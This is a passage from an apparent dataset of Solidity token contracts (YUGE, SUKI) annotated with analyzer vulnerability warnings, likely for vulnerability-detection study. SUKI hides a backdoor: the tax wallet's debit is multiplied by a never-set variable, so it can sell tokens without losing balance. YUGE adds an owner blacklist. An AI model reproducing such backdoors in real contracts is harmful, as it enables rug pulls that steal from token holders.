8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: df98e1b): YUGE._maxTaxSwap should be constant \n\t// Recommendation for df98e1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8413800000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 18507be): YUGE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 18507be: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8e39b97): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8e39b97: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1105db6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1105db6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8e39b97\n\t\t// reentrancy-benign | ID: 1105db6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8e39b97\n\t\t// reentrancy-benign | ID: 1105db6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 196fba3): YUGE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 196fba3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1105db6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8e39b97\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2a2dd9c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2a2dd9c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 57da2c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 57da2c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2a2dd9c\n\t\t\t\t// reentrancy-eth | ID: 57da2c5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2a2dd9c\n\t\t\t\t\t// reentrancy-eth | ID: 57da2c5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 57da2c5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 57da2c5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 57da2c5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2a2dd9c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 57da2c5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 57da2c5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2a2dd9c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8e39b97\n\t\t// reentrancy-events | ID: 2a2dd9c\n\t\t// reentrancy-benign | ID: 1105db6\n\t\t// reentrancy-eth | ID: 57da2c5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 79f1f49): YUGE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 79f1f49: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8e39b97\n\t\t// reentrancy-events | ID: 2a2dd9c\n\t\t// reentrancy-eth | ID: 57da2c5\n\t\t// arbitrary-send-eth | ID: 79f1f49\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 42059db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 42059db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: edbd884): YUGE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for edbd884: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9526a6d): YUGE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9526a6d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 77f070b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 77f070b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 42059db\n\t\t// reentrancy-eth | ID: 77f070b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 42059db\n\t\t// unused-return | ID: edbd884\n\t\t// reentrancy-eth | ID: 77f070b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 42059db\n\t\t// unused-return | ID: 9526a6d\n\t\t// reentrancy-eth | ID: 77f070b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 42059db\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 77f070b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10192.sol",
"size_bytes": 19509,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SUKI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExile;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (constable-states | ID: d4e96df): SUKI._initialBuyTax should be constant \n\t// Recommendation for d4e96df: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 95a7540): SUKI._initialSellTax should be constant \n\t// Recommendation for 95a7540: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d846ce): SUKI._finalBuyTax should be constant \n\t// Recommendation for 7d846ce: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b82e47e): SUKI._finalSellTax should be constant \n\t// Recommendation for b82e47e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fd1da5): SUKI._reduceBuyTaxAt should be constant \n\t// Recommendation for 0fd1da5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f27c87): SUKI._reduceSellTaxAt should be constant \n\t// Recommendation for 5f27c87: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 326f113): SUKI._preventSwapBefore should be constant \n\t// Recommendation for 326f113: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 3;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Suki\";\n\n string private constant _symbol = unicode\"SUKI\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19acd47): SUKI._taxSwapThreshold should be constant \n\t// Recommendation for 19acd47: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d70606a): SUKI._maxTaxSwap should be constant \n\t// Recommendation for d70606a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3d99969): SUKI._taxWallet should be immutable \n\t// Recommendation for 3d99969: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7426660): SUKI.nftClaimExcluded should be constant \n\t// Recommendation for 7426660: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 8bf034e): SUKI.nftClaimExcluded is never initialized. It is used in SUKI._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 8bf034e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private nftClaimExcluded;\n\n uint256 private nftClaimWeigth;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct ReclaimNft {\n uint256 nftReclaim;\n uint256 nftDist;\n uint256 nftClaimId;\n }\n\n mapping(address => ReclaimNft) private reclaimNft;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x22655ecBaeAAf17243364EeCa34402428b962625);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExile[address(this)] = true;\n\n _isExile[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6df157d): SUKI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6df157d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5556216): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5556216: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: af7a13d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for af7a13d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5556216\n\t\t// reentrancy-benign | ID: af7a13d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5556216\n\t\t// reentrancy-benign | ID: af7a13d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7e44588): SUKI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7e44588: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: af7a13d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5556216\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 43be606): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 43be606: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 394c762): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 394c762: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ffdc3e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ffdc3e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExile[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 43be606\n\t\t\t\t// reentrancy-benign | ID: 394c762\n\t\t\t\t// reentrancy-eth | ID: ffdc3e2\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 43be606\n\t\t\t\t\t// reentrancy-eth | ID: ffdc3e2\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExile[from] || _isExile[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 394c762\n nftClaimWeigth = block.number;\n }\n\n if (!_isExile[from] && !_isExile[to]) {\n if (to != uniswapV2Pair) {\n ReclaimNft storage reclNft = reclaimNft[to];\n\n if (from == uniswapV2Pair) {\n if (reclNft.nftReclaim == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 394c762\n reclNft.nftReclaim = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n ReclaimNft storage reclNftAttempt = reclaimNft[from];\n\n if (\n reclNft.nftReclaim == 0 ||\n reclNftAttempt.nftReclaim < reclNft.nftReclaim\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 394c762\n reclNft.nftReclaim = reclNftAttempt.nftReclaim;\n }\n }\n } else {\n ReclaimNft storage reclNftAttempt = reclaimNft[from];\n\n\t\t\t\t// reentrancy-benign | ID: 394c762\n reclNftAttempt.nftDist = reclNftAttempt.nftReclaim.sub(\n nftClaimWeigth\n );\n\n\t\t\t\t// reentrancy-benign | ID: 394c762\n reclNftAttempt.nftClaimId = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 43be606\n\t\t// reentrancy-eth | ID: ffdc3e2\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 8bf034e): SUKI.nftClaimExcluded is never initialized. It is used in SUKI._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 8bf034e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : nftClaimExcluded.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ffdc3e2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 43be606\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: ffdc3e2\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: ffdc3e2\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 43be606\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 43be606\n\t\t// reentrancy-events | ID: 5556216\n\t\t// reentrancy-benign | ID: 394c762\n\t\t// reentrancy-benign | ID: af7a13d\n\t\t// reentrancy-eth | ID: ffdc3e2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 43be606\n\t\t// reentrancy-events | ID: 5556216\n\t\t// reentrancy-eth | ID: ffdc3e2\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 26a0696): SUKI.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 26a0696: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6ec540a): SUKI.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6ec540a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6e9c123): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6e9c123: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-eth | ID: 6e9c123\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 6ec540a\n\t\t// reentrancy-eth | ID: 6e9c123\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 26a0696\n\t\t// reentrancy-eth | ID: 6e9c123\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 6e9c123\n tradingOpen = 